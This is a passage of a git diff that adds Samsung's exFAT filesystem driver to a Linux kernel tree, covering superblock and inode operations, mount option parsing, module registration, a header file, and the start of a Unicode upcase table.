sb); + + if (i_pos != info->i_pos) + continue; + inode = igrab(&info->vfs_inode); + if (inode) + break; + } + spin_unlock(&sbi->inode_hash_lock); + return inode; +} + +static void exfat_attach(struct inode *inode, loff_t i_pos) +{ + struct exfat_sb_info *sbi = EXFAT_SB(inode->i_sb); + struct hlist_head *head = sbi->inode_hashtable + exfat_hash(i_pos); + + spin_lock(&sbi->inode_hash_lock); + EXFAT_I(inode)->i_pos = i_pos; + hlist_add_head(&EXFAT_I(inode)->i_hash_fat, head); + spin_unlock(&sbi->inode_hash_lock); +} + +static void exfat_detach(struct inode *inode) +{ + struct exfat_sb_info *sbi = EXFAT_SB(inode->i_sb); + + spin_lock(&sbi->inode_hash_lock); + hlist_del_init(&EXFAT_I(inode)->i_hash_fat); + EXFAT_I(inode)->i_pos = 0; + spin_unlock(&sbi->inode_hash_lock); +} + +/* doesn't deal with root inode */ +static int exfat_fill_inode(struct inode *inode, FILE_ID_T *fid) +{ + struct exfat_sb_info *sbi = EXFAT_SB(inode->i_sb); + FS_INFO_T *p_fs = &(sbi->fs_info); + DIR_ENTRY_T info; + + memcpy(&(EXFAT_I(inode)->fid), fid, sizeof(FILE_ID_T)); + + FsReadStat(inode, &info); + + EXFAT_I(inode)->i_pos = 0; + EXFAT_I(inode)->target = NULL; + inode->i_uid = sbi->options.fs_uid; + inode->i_gid = sbi->options.fs_gid; + inode->i_version++; + inode->i_generation = get_seconds(); + + if (info.Attr & ATTR_SUBDIR) { /* directory */ + inode->i_generation &= ~1; + inode->i_mode = exfat_make_mode(sbi, info.Attr, S_IRWXUGO); + inode->i_op = &exfat_dir_inode_operations; + inode->i_fop = &exfat_dir_operations; + + i_size_write(inode, info.Size); + EXFAT_I(inode)->mmu_private = i_size_read(inode); +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,2,00) + set_nlink(inode, info.NumSubdirs); +#else + inode->i_nlink = info.NumSubdirs; +#endif + } else if (info.Attr & ATTR_SYMLINK) { /* symbolic link */ + inode->i_generation |= 1; + inode->i_mode = exfat_make_mode(sbi, info.Attr, S_IRWXUGO); + inode->i_op = &exfat_symlink_inode_operations; + + i_size_write(inode, info.Size); + EXFAT_I(inode)->mmu_private = i_size_read(inode); + } else { /* regular file */ + inode->i_generation |= 1; + inode->i_mode = exfat_make_mode(sbi, info.Attr, S_IRWXUGO); + inode->i_op = &exfat_file_inode_operations; + inode->i_fop = &exfat_file_operations; + inode->i_mapping->a_ops = &exfat_aops; + inode->i_mapping->nrpages = 0; + + i_size_write(inode, info.Size); + EXFAT_I(inode)->mmu_private = i_size_read(inode); + } + exfat_save_attr(inode, info.Attr); + + inode->i_blocks = ((i_size_read(inode) + (p_fs->cluster_size - 1)) + & ~((loff_t)p_fs->cluster_size - 1)) >> 9; + + exfat_time_fat2unix(sbi, &inode->i_mtime, &info.ModifyTimestamp); + exfat_time_fat2unix(sbi, &inode->i_ctime, &info.CreateTimestamp); + exfat_time_fat2unix(sbi, &inode->i_atime, &info.AccessTimestamp); + + return 0; +} + +static struct inode *exfat_build_inode(struct super_block *sb, + FILE_ID_T *fid, loff_t i_pos) { + struct inode *inode; + int err; + + inode = exfat_iget(sb, i_pos); + if (inode) + goto out; + inode = new_inode(sb); + if (!inode) { + inode = ERR_PTR(-ENOMEM); + goto out; + } + inode->i_ino = iunique(sb, EXFAT_ROOT_INO); + inode->i_version = 1; + err = exfat_fill_inode(inode, fid); + if (err) { + iput(inode); + inode = ERR_PTR(err); + goto out; + } + exfat_attach(inode, i_pos); + insert_inode_hash(inode); +out: + return inode; +} + +static int exfat_sync_inode(struct inode *inode) +{ +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,34) + return exfat_write_inode(inode, 0); +#else + return exfat_write_inode(inode, NULL); +#endif +} + +static struct inode *exfat_alloc_inode(struct super_block *sb) +{ + struct exfat_inode_info *ei; + + ei = kmem_cache_alloc(exfat_inode_cachep, GFP_NOFS); + if (!ei) + return NULL; + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,4,00) + init_rwsem(&ei->truncate_lock); +#endif + + return &ei->vfs_inode; +} + +static void exfat_destroy_inode(struct inode *inode) +{ + if (EXFAT_I(inode)->target) + kfree(EXFAT_I(inode)->target); + EXFAT_I(inode)->target = NULL; + + kmem_cache_free(exfat_inode_cachep, EXFAT_I(inode)); +} + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,34) +static int exfat_write_inode(struct inode *inode, int wait) +#else +static int exfat_write_inode(struct inode *inode, struct writeback_control *wbc) +#endif +{ + struct super_block *sb = inode->i_sb; + struct exfat_sb_info *sbi = EXFAT_SB(sb); + DIR_ENTRY_T info; + + if (inode->i_ino == EXFAT_ROOT_INO) + return 0; + + info.Attr = exfat_make_attr(inode); + info.Size = i_size_read(inode); + + exfat_time_unix2fat(sbi, &inode->i_mtime, &info.ModifyTimestamp); + exfat_time_unix2fat(sbi, &inode->i_ctime, &info.CreateTimestamp); + exfat_time_unix2fat(sbi, &inode->i_atime, &info.AccessTimestamp); + + FsWriteStat(inode, &info); + + return 0; +} + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,36) +static void exfat_delete_inode(struct inode *inode) +{ + truncate_inode_pages(&inode->i_data, 0); + clear_inode(inode); +} + +static void exfat_clear_inode(struct inode *inode) +{ + exfat_detach(inode); + remove_inode_hash(inode); +} +#else +static void exfat_evict_inode(struct inode *inode) +{ + truncate_inode_pages(&inode->i_data, 0); + + if (!inode->i_nlink) + i_size_write(inode, 0); + invalidate_inode_buffers(inode); +#if LINUX_VERSION_CODE < KERNEL_VERSION(3,5,0) + end_writeback(inode); +#else + clear_inode(inode); +#endif + exfat_detach(inode); + + remove_inode_hash(inode); +} +#endif + +static void exfat_free_super(struct exfat_sb_info *sbi) +{ + if (sbi->nls_disk) + unload_nls(sbi->nls_disk); + if (sbi->nls_io) + unload_nls(sbi->nls_io); + if (sbi->options.iocharset != exfat_default_iocharset) + kfree(sbi->options.iocharset); +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,7,0) + /* mutex_init is in exfat_fill_super function. only for 3.7+ */ + mutex_destroy(&sbi->s_lock); +#endif + kfree(sbi); +} + +static void exfat_put_super(struct super_block *sb) +{ + struct exfat_sb_info *sbi = EXFAT_SB(sb); + if (__is_sb_dirty(sb)) + exfat_write_super(sb); + + FsUmountVol(sb); + + sb->s_fs_info = NULL; + exfat_free_super(sbi); +} + +static void exfat_write_super(struct super_block *sb) +{ + __lock_super(sb); + + __set_sb_clean(sb); + + if (!(sb->s_flags & MS_RDONLY)) + FsSyncVol(sb, 1); + + __unlock_super(sb); +} + +static int exfat_sync_fs(struct super_block *sb, int wait) +{ + int err = 0; + + if (__is_sb_dirty(sb)) { + __lock_super(sb); + __set_sb_clean(sb); + err = FsSyncVol(sb, 1); + __unlock_super(sb); + } + + return err; +} + +static int exfat_statfs(struct dentry *dentry, struct kstatfs *buf) +{ + struct super_block *sb = dentry->d_sb; + u64 id = huge_encode_dev(sb->s_bdev->bd_dev); + FS_INFO_T *p_fs = &(EXFAT_SB(sb)->fs_info); + VOL_INFO_T info; + + if (p_fs->used_clusters == (u32) ~0) { + if (FFS_MEDIAERR == FsGetVolInfo(sb, &info)) + return -EIO; + + } else { + info.FatType = p_fs->vol_type; + info.ClusterSize = p_fs->cluster_size; + info.NumClusters = p_fs->num_clusters - 2; + info.UsedClusters = p_fs->used_clusters; + info.FreeClusters = info.NumClusters - info.UsedClusters; + + if (p_fs->dev_ejected) + printk("[EXFAT] statfs on device is ejected\n"); + } + + buf->f_type = sb->s_magic; + buf->f_bsize = info.ClusterSize; + buf->f_blocks = info.NumClusters; + buf->f_bfree = info.FreeClusters; + buf->f_bavail = info.FreeClusters; + buf->f_fsid.val[0] = (u32)id; + buf->f_fsid.val[1] = (u32)(id >> 32); + buf->f_namelen = 260; + + return 0; +} + +static int exfat_remount(struct super_block *sb, int *flags, char *data) +{ + *flags |= MS_NODIRATIME; + return 0; +} + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,3,0) +static int exfat_show_options(struct seq_file *m, struct dentry *root) +{ + struct exfat_sb_info *sbi = EXFAT_SB(root->d_sb); +#else +static int exfat_show_options(struct seq_file *m, struct vfsmount *mnt) +{ + struct exfat_sb_info *sbi = EXFAT_SB(mnt->mnt_sb); +#endif + struct exfat_mount_options *opts = &sbi->options; +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,5,0) + if (__kuid_val(opts->fs_uid)) + seq_printf(m, ",uid=%u", __kuid_val(opts->fs_uid)); + if (__kgid_val(opts->fs_gid)) + seq_printf(m, ",gid=%u", __kgid_val(opts->fs_gid)); +#else + if (opts->fs_uid != 0) + seq_printf(m, ",uid=%u", opts->fs_uid); + if (opts->fs_gid != 0) + seq_printf(m, ",gid=%u", opts->fs_gid); +#endif + seq_printf(m, ",fmask=%04o", opts->fs_fmask); + seq_printf(m, ",dmask=%04o", opts->fs_dmask); + if (opts->allow_utime) + seq_printf(m, ",allow_utime=%04o", opts->allow_utime); + if (sbi->nls_disk) + seq_printf(m, ",codepage=%s", sbi->nls_disk->charset); + if (sbi->nls_io) + seq_printf(m, ",iocharset=%s", sbi->nls_io->charset); + seq_printf(m, ",namecase=%u", opts->casesensitive); + if (opts->errors == EXFAT_ERRORS_CONT) + seq_puts(m, ",errors=continue"); + else if (opts->errors == EXFAT_ERRORS_PANIC) + seq_puts(m, ",errors=panic"); + else + seq_puts(m, ",errors=remount-ro"); +#ifdef CONFIG_EXFAT_DISCARD + if (opts->discard) + seq_printf(m, ",discard"); +#endif + return 0; +} + +const struct super_operations exfat_sops = { + .alloc_inode = exfat_alloc_inode, + .destroy_inode = exfat_destroy_inode, + .write_inode = exfat_write_inode, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,36) + .delete_inode = exfat_delete_inode, + .clear_inode = exfat_clear_inode, +#else + .evict_inode = exfat_evict_inode, +#endif + .put_super = exfat_put_super, +#if LINUX_VERSION_CODE < KERNEL_VERSION(3,7,0) + .write_super = exfat_write_super, +#endif + .sync_fs = exfat_sync_fs, + .statfs = exfat_statfs, + .remount_fs = exfat_remount, + .show_options = exfat_show_options, +}; + +/*======================================================================*/ +/* Super Block Read Operations */ +/*======================================================================*/ + +enum { + Opt_uid, + Opt_gid, + Opt_umask, + Opt_dmask, + Opt_fmask, + Opt_allow_utime, + Opt_codepage, + Opt_charset, + Opt_namecase, + Opt_debug, + Opt_err_cont, + Opt_err_panic, + Opt_err_ro, + Opt_utf8_hack, + Opt_err, +#ifdef CONFIG_EXFAT_DISCARD + Opt_discard, +#endif /* EXFAT_CONFIG_DISCARD */ +}; + +static const match_table_t exfat_tokens = { + {Opt_uid, "uid=%u"}, + {Opt_gid, "gid=%u"}, + {Opt_umask, "umask=%o"}, + {Opt_dmask, "dmask=%o"}, + {Opt_fmask, "fmask=%o"}, + {Opt_allow_utime, "allow_utime=%o"}, + {Opt_codepage, "codepage=%u"}, + {Opt_charset, "iocharset=%s"}, + {Opt_namecase, "namecase=%u"}, + {Opt_debug, "debug"}, + {Opt_err_cont, "errors=continue"}, + {Opt_err_panic, "errors=panic"}, + {Opt_err_ro, "errors=remount-ro"}, + {Opt_utf8_hack, "utf8"}, +#ifdef CONFIG_EXFAT_DISCARD + {Opt_discard, "discard"}, +#endif /* CONFIG_EXFAT_DISCARD */ + {Opt_err, NULL} +}; + +static int parse_options(char *options, int silent, int *debug, + struct exfat_mount_options *opts) +{ + char *p; + substring_t args[MAX_OPT_ARGS]; + int option; + char *iocharset; + + opts->fs_uid = current_uid(); + opts->fs_gid = current_gid(); + opts->fs_fmask = opts->fs_dmask = current->fs->umask; + opts->allow_utime = (unsigned short) -1; + opts->codepage = exfat_default_codepage; + opts->iocharset = exfat_default_iocharset; + opts->casesensitive = 0; + opts->errors = EXFAT_ERRORS_RO; +#ifdef CONFIG_EXFAT_DISCARD + opts->discard = 0; +#endif + *debug = 0; + + if (!options) + goto out; + + while ((p = strsep(&options, ",")) != NULL) { + int token; + if (!*p) + continue; + + token = match_token(p, exfat_tokens, args); + switch (token) { + case Opt_uid: + if (match_int(&args[0], &option)) + return 0; +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,5,0) + opts->fs_uid = KUIDT_INIT(option); +#else + opts->fs_uid = option; +#endif + break; + case Opt_gid: + if (match_int(&args[0], &option)) + return 0; +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,5,0) + opts->fs_gid = KGIDT_INIT(option); +#else + opts->fs_gid = option; +#endif + break; + case Opt_umask: + case Opt_dmask: + case Opt_fmask: + if (match_octal(&args[0], &option)) + return 0; + if (token != Opt_dmask) + opts->fs_fmask = option; + if (token != Opt_fmask) + opts->fs_dmask = option; + break; + case Opt_allow_utime: + if (match_octal(&args[0], &option)) + return 0; + opts->allow_utime = option & (S_IWGRP | S_IWOTH); + break; + case Opt_codepage: + if (match_int(&args[0], &option)) + return 0; + opts->codepage = option; + break; + case Opt_charset: + if (opts->iocharset != exfat_default_iocharset) + kfree(opts->iocharset); + iocharset = match_strdup(&args[0]); + if (!iocharset) + return -ENOMEM; + opts->iocharset = iocharset; + break; + case Opt_namecase: + if (match_int(&args[0], &option)) + return 0; + opts->casesensitive = option; + break; + case Opt_err_cont: + opts->errors = EXFAT_ERRORS_CONT; + break; + case Opt_err_panic: + opts->errors = EXFAT_ERRORS_PANIC; + break; + case Opt_err_ro: + opts->errors = EXFAT_ERRORS_RO; + break; + case Opt_debug: + *debug = 1; + break; +#ifdef CONFIG_EXFAT_DISCARD + case Opt_discard: + opts->discard = 1; + break; +#endif /* CONFIG_EXFAT_DISCARD */ + case Opt_utf8_hack: + break; + default: + if (!silent) + printk(KERN_ERR "[EXFAT] Unrecognized mount option %s or missing value\n", p); + return -EINVAL; + } + } + +out: + if (opts->allow_utime == (unsigned short) -1) + opts->allow_utime = ~opts->fs_dmask & (S_IWGRP | S_IWOTH); + + return 0; +} + +static void exfat_hash_init(struct super_block *sb) +{ + struct exfat_sb_info *sbi = EXFAT_SB(sb); + int i; + + spin_lock_init(&sbi->inode_hash_lock); + for (i = 0; i < EXFAT_HASH_SIZE; i++) + INIT_HLIST_HEAD(&sbi->inode_hashtable[i]); +} + +static int exfat_read_root(struct inode *inode) +{ + struct super_block *sb = inode->i_sb; + struct exfat_sb_info *sbi = EXFAT_SB(sb); + struct timespec ts; + FS_INFO_T *p_fs = &(sbi->fs_info); + DIR_ENTRY_T info; + + ts = CURRENT_TIME_SEC; + + EXFAT_I(inode)->fid.dir.dir = p_fs->root_dir; + EXFAT_I(inode)->fid.dir.flags = 0x01; + EXFAT_I(inode)->fid.entry = -1; + EXFAT_I(inode)->fid.start_clu = p_fs->root_dir; + EXFAT_I(inode)->fid.flags = 0x01; + EXFAT_I(inode)->fid.type = TYPE_DIR; + EXFAT_I(inode)->fid.rwoffset = 0; + EXFAT_I(inode)->fid.hint_last_off = -1; + + EXFAT_I(inode)->target = NULL; + + FsReadStat(inode, &info); + + inode->i_uid = sbi->options.fs_uid; + inode->i_gid = sbi->options.fs_gid; + inode->i_version++; + inode->i_generation = 0; + inode->i_mode = exfat_make_mode(sbi, ATTR_SUBDIR, S_IRWXUGO); + inode->i_op = &exfat_dir_inode_operations; + inode->i_fop = &exfat_dir_operations; + + i_size_write(inode, info.Size); + inode->i_blocks = ((i_size_read(inode) + (p_fs->cluster_size - 1)) + & ~((loff_t)p_fs->cluster_size - 1)) >> 9; + EXFAT_I(inode)->i_pos = ((loff_t) p_fs->root_dir << 32) | 0xffffffff; + EXFAT_I(inode)->mmu_private = i_size_read(inode); + + exfat_save_attr(inode, ATTR_SUBDIR); + inode->i_mtime = inode->i_atime = inode->i_ctime = ts; +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,2,00) + set_nlink(inode, info.NumSubdirs + 2); +#else + inode->i_nlink = info.NumSubdirs + 2; +#endif + + return 0; +} + +#if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,37) +static void setup_dops(struct super_block *sb) +{ + if (EXFAT_SB(sb)->options.casesensitive == 0) + sb->s_d_op = &exfat_ci_dentry_ops; + else + sb->s_d_op = &exfat_dentry_ops; +} +#endif + +static int exfat_fill_super(struct super_block *sb, void *data, int silent) +{ + struct inode *root_inode = NULL; + struct exfat_sb_info *sbi; + int debug, ret; + long error; + char buf[50]; + + /* + * GFP_KERNEL is ok here, because while we do hold the + * supeblock lock, memory pressure can't call back into + * the filesystem, since we're only just about to mount + * it and have no inodes etc active! + */ + sbi = kzalloc(sizeof(struct exfat_sb_info), GFP_KERNEL); + if (!sbi) + return -ENOMEM; +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,7,0) + mutex_init(&sbi->s_lock); +#endif + sb->s_fs_info = sbi; + sb->s_flags |= MS_NODIRATIME; + sb->s_magic = EXFAT_SUPER_MAGIC; + sb->s_op = &exfat_sops; + + error = parse_options(data, silent, &debug, &sbi->options); + if (error) + goto out_fail; + +#if LINUX_VERSION_CODE > KERNEL_VERSION(2,6,37) + setup_dops(sb); +#endif + + error = -EIO; + sb_min_blocksize(sb, 512); + sb->s_maxbytes = 0x7fffffffffffffffLL; /* maximum file size */ + + ret = FsMountVol(sb); + if (ret) { + if (!silent) + printk(KERN_ERR "[EXFAT] FsMountVol failed\n"); + + goto out_fail; + } + + /* set up enough so that it can read an inode */ + exfat_hash_init(sb); + + /* + * The low byte of FAT's first entry must have same value with + * media-field. But in real world, too many devices is + * writing wrong value. So, removed that validity check. + * + * if (FAT_FIRST_ENT(sb, media) != first) + */ + + /* codepage is not meaningful in exfat */ + if (sbi->fs_info.vol_type != EXFAT) { + error = -EINVAL; + sprintf(buf, "cp%d", sbi->options.codepage); + sbi->nls_disk = load_nls(buf); + if (!sbi->nls_disk) { + printk(KERN_ERR "[EXFAT] Codepage %s not found\n", buf); + goto out_fail2; + } + } + + sbi->nls_io = load_nls(sbi->options.iocharset); + + error = -ENOMEM; + root_inode = new_inode(sb); + if (!root_inode) + goto out_fail2; + root_inode->i_ino = EXFAT_ROOT_INO; + root_inode->i_version = 1; + error = exfat_read_root(root_inode); + if (error < 0) + goto out_fail2; + error = -ENOMEM; + exfat_attach(root_inode, EXFAT_I(root_inode)->i_pos); + insert_inode_hash(root_inode); +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,4,00) + sb->s_root = d_make_root(root_inode); +#else + sb->s_root = d_alloc_root(root_inode); +#endif + if (!sb->s_root) { + printk(KERN_ERR "[EXFAT] Getting the root inode failed\n"); + goto out_fail2; + } + + return 0; + +out_fail2: + FsUmountVol(sb); +out_fail: + if (root_inode) + iput(root_inode); + sb->s_fs_info = NULL; + exfat_free_super(sbi); + return error; +} +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,37) +static int exfat_get_sb(struct file_system_type *fs_type, + int flags, const char *dev_name, + void *data, struct vfsmount *mnt) +{ + return get_sb_bdev(fs_type, flags, dev_name, data, exfat_fill_super, mnt); +} +#else +static struct dentry *exfat_fs_mount(struct file_system_type *fs_type, + int flags, const char *dev_name, + void *data) { + return mount_bdev(fs_type, flags, dev_name, data, exfat_fill_super); +} +#endif + +static void init_once(void *foo) +{ + struct exfat_inode_info *ei = (struct exfat_inode_info *)foo; + + INIT_HLIST_NODE(&ei->i_hash_fat); + inode_init_once(&ei->vfs_inode); +} + +static int __init exfat_init_inodecache(void) +{ + exfat_inode_cachep = kmem_cache_create("exfat_inode_cache", + sizeof(struct exfat_inode_info), + 0, (SLAB_RECLAIM_ACCOUNT| + SLAB_MEM_SPREAD), + init_once); + if (exfat_inode_cachep == NULL) + return -ENOMEM; + return 0; +} + +static void __exit exfat_destroy_inodecache(void) +{ + kmem_cache_destroy(exfat_inode_cachep); +} + +#ifdef CONFIG_EXFAT_KERNEL_DEBUG +static void exfat_debug_kill_sb(struct super_block *sb) +{ + struct exfat_sb_info *sbi = EXFAT_SB(sb); + struct block_device *bdev = sb->s_bdev; + + long flags; + + if (sbi) { + flags = sbi->debug_flags; + + if (flags & EXFAT_DEBUGFLAGS_INVALID_UMOUNT) { + /* invalidate_bdev drops all device cache include dirty. + we use this to simulate device removal */ + FsReleaseCache(sb); + invalidate_bdev(bdev); + } + } + + kill_block_super(sb); +} +#endif /* CONFIG_EXFAT_KERNEL_DEBUG */ + +static struct file_system_type exfat_fs_type = { + .owner = THIS_MODULE, +#if defined(CONFIG_MACH_LGE) || defined(CONFIG_HTC_BATT_CORE) + .name = "texfat", +#else + .name = "exfat", +#endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,37) + .get_sb = exfat_get_sb, +#else + .mount = exfat_fs_mount, +#endif +#ifdef CONFIG_EXFAT_KERNEL_DEBUG + .kill_sb = exfat_debug_kill_sb, +#else + .kill_sb = kill_block_super, +#endif /* CONFIG_EXFAT_KERNEL_DEBUG */ + .fs_flags = FS_REQUIRES_DEV, +}; + +static int __init init_exfat(void) +{ + int err; + + err = FsInit(); + if (err) { + if (err == FFS_MEMORYERR) + return -ENOMEM; + else + return -EIO; + } + + printk(KERN_INFO "exFAT: Version %s\n", EXFAT_VERSION); + + err = exfat_init_inodecache(); + if (err) + goto out; + + err = register_filesystem(&exfat_fs_type); + if (err) + goto out; + + return 0; +out: + FsShutdown(); + return err; +} + +static void __exit exit_exfat(void) +{ + exfat_destroy_inodecache(); + unregister_filesystem(&exfat_fs_type); + FsShutdown(); +} + +module_init(init_exfat); +module_exit(exit_exfat); + +MODULE_LICENSE("GPL"); +MODULE_DESCRIPTION("exFAT Filesystem Driver"); +#ifdef MODULE_ALIAS_FS +#if defined(CONFIG_MACH_LGE) || defined(CONFIG_HTC_BATT_CORE) +MODULE_ALIAS_FS("texfat"); +#else +MODULE_ALIAS_FS("exfat"); +#endif +#endif diff --git a/fs/exfat/exfat_super.h b/fs/exfat/exfat_super.h new file mode 100644 index 0000000000000..916811e3d31e2 --- /dev/null +++ b/fs/exfat/exfat_super.h @@ -0,0 +1,171 @@ +/* Some of the source code in this file came from "linux/fs/fat/fat.h". */ + +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +#ifndef _EXFAT_LINUX_H +#define _EXFAT_LINUX_H + +#include +#include +#include +#include +#include +#include + +#include "exfat_config.h" +#include "exfat_data.h" +#include "exfat_oal.h" + +#include "exfat_blkdev.h" +#include "exfat_cache.h" +#include "exfat_nls.h" +#include "exfat_api.h" +#include "exfat_core.h" + +#define EXFAT_ERRORS_CONT 1 /* ignore error and continue */ +#define EXFAT_ERRORS_PANIC 2 /* panic on error */ +#define EXFAT_ERRORS_RO 3 /* remount r/o on error */ + +/* ioctl command */ +#define EXFAT_IOCTL_GET_VOLUME_ID _IOR('r', 0x12, __u32) + +struct exfat_mount_options { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,5,0) + kuid_t fs_uid; + kgid_t fs_gid; +#else + uid_t fs_uid; + gid_t fs_gid; +#endif + unsigned short fs_fmask; + unsigned short fs_dmask; + unsigned short allow_utime; /* permission for setting the [am]time */ + unsigned short codepage; /* codepage for shortname conversions */ + char *iocharset; /* charset for filename input/display */ + unsigned char casesensitive; + unsigned char errors; /* on error: continue, panic, remount-ro */ +#ifdef CONFIG_EXFAT_DISCARD + unsigned char discard; /* flag on if -o dicard specified and device support discard() */ +#endif /* CONFIG_EXFAT_DISCARD */ +}; + +#define EXFAT_HASH_BITS 8 +#define EXFAT_HASH_SIZE (1UL << EXFAT_HASH_BITS) + +/* + * EXFAT file system in-core superblock data + */ +struct exfat_sb_info { + FS_INFO_T fs_info; + BD_INFO_T bd_info; + + struct exfat_mount_options options; + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,7,00) + int s_dirt; + struct mutex s_lock; +#endif + struct nls_table *nls_disk; /* Codepage used on disk */ + struct nls_table *nls_io; /* Charset used for input and display */ + + struct inode *fat_inode; + + spinlock_t inode_hash_lock; + struct hlist_head inode_hashtable[EXFAT_HASH_SIZE]; +#ifdef CONFIG_EXFAT_KERNEL_DEBUG + long debug_flags; +#endif /* CONFIG_EXFAT_KERNEL_DEBUG */ +}; + +/* + * EXFAT file system inode data in memory + */ +struct exfat_inode_info { + FILE_ID_T fid; + char *target; + /* NOTE: mmu_private is 64bits, so must hold ->i_mutex to access */ + loff_t mmu_private; /* physically allocated size */ + loff_t i_pos; /* on-disk position of directory entry or 0 */ + struct hlist_node i_hash_fat; /* hash by i_location */ +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,4,00) + struct rw_semaphore truncate_lock; +#endif + struct inode vfs_inode; + struct rw_semaphore i_alloc_sem; /* protect bmap against truncate */ +}; + +#define EXFAT_SB(sb) ((struct exfat_sb_info *)((sb)->s_fs_info)) + +static inline struct exfat_inode_info *EXFAT_I(struct inode *inode) +{ + return container_of(inode, struct exfat_inode_info, vfs_inode); +} + +/* + * If ->i_mode can't hold S_IWUGO (i.e. ATTR_RO), we use ->i_attrs to + * save ATTR_RO instead of ->i_mode. + * + * If it's directory and !sbi->options.rodir, ATTR_RO isn't read-only + * bit, it's just used as flag for app. + */ +static inline int exfat_mode_can_hold_ro(struct inode *inode) +{ + struct exfat_sb_info *sbi = EXFAT_SB(inode->i_sb); + + if (S_ISDIR(inode->i_mode)) + return 0; + + if ((~sbi->options.fs_fmask) & S_IWUGO) + return 1; + return 0; +} + +/* Convert attribute bits and a mask to the UNIX mode. */ +static inline mode_t exfat_make_mode(struct exfat_sb_info *sbi, + u32 attr, mode_t mode) +{ + if ((attr & ATTR_READONLY) && !(attr & ATTR_SUBDIR)) + mode &= ~S_IWUGO; + + if (attr & ATTR_SUBDIR) + return (mode & ~sbi->options.fs_dmask) | S_IFDIR; + else if (attr & ATTR_SYMLINK) + return (mode & ~sbi->options.fs_dmask) | S_IFLNK; + else + return (mode & ~sbi->options.fs_fmask) | S_IFREG; +} + +/* Return the FAT attribute byte for this inode */ +static inline u32 exfat_make_attr(struct inode *inode) +{ + if (exfat_mode_can_hold_ro(inode) && !(inode->i_mode & S_IWUGO)) + return (EXFAT_I(inode)->fid.attr) | ATTR_READONLY; + else + return EXFAT_I(inode)->fid.attr; +} + +static inline void exfat_save_attr(struct inode *inode, u32 attr) +{ + if (exfat_mode_can_hold_ro(inode)) + EXFAT_I(inode)->fid.attr = attr & ATTR_RWMASK; + else + EXFAT_I(inode)->fid.attr = attr & (ATTR_RWMASK | ATTR_READONLY); +} + +#endif /* _EXFAT_LINUX_H */ diff --git a/fs/exfat/exfat_upcase.c b/fs/exfat/exfat_upcase.c new file mode 100644 index 0000000000000..3807f37caacb5 --- /dev/null +++ b/fs/exfat/exfat_upcase.c @@ -0,0 +1,405 @@ +/* + * Copyright (C) 2012-2013 Samsung Electronics Co., Ltd. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_upcase.c */ +/* PURPOSE : exFAT Up-case Table */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY (Ver 0.9) */ +/* */ +/* - 2010.11.15 [Joosun Hahn] : first writing */ +/* */ +/************************************************************************/ + +#include "exfat_config.h" + +#include "exfat_nls.h" + +const u8 uni_upcase[NUM_UPCASE<<1] = { + 0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x03, 0x00, 0x04, 0x00, 0x05, 0x00, 0x06, 0x00, 0x07, 0x00, + 0x08, 0x00, 0x09, 0x00, 0x0A, 0x00, 0x0B, 0x00, 0x0C, 0x00, 0x0D, 0x00, 0x0E, 0x00, 0x0F, 0x00, + 0x10, 0x00, 0x11, 0x00, 0x12, 0x00, 0x13, 0x00, 0x14, 0x00, 0x15, 0x00, 0x16, 0x00, 0x17, 0x00, + 0x18, 0x00, 0x19, 0x00, 0x1A, 0x00, 0x1B, 0x00, 0x1C, 0x00, 0x1D, 0x00, 0x1E, 0x00, 0x1F, 0x00, + 0x20, 0x00, 0x21, 0x00, 0x22, 0x00, 0x23, 0x00, 0x24, 0x00, 0x25, 0x00, 0x26, 0x00, 0x27, 0x00, + 0x28, 0x00, 0x29, 0x00, 0x2A, 0x00, 0x2B, 0x00, 0x2C, 0x00, 0x2D, 0x00, 0x2E, 0x00, 0x2F, 0x00, + 0x30, 0x00, 0x31, 0x00, 0x32, 0x00, 0x33, 0x00, 0x34, 0x00, 0x35, 0x00, 0x36, 0x00, 0x37, 0x00, + 0x38, 0x00, 0x39, 0x00, 0x3A, 0x00, 0x3B, 0x00, 0x3C, 0x00, 0x3D, 0x00, 0x3E, 0x00, 0x3F, 0x00, + 0x40, 0x00, 0x41, 0x00, 0x42, 0x00, 0x43, 0x00, 0x44, 0x00, 0x45, 0x00, 0x46, 0x00, 0x47, 0x00, + 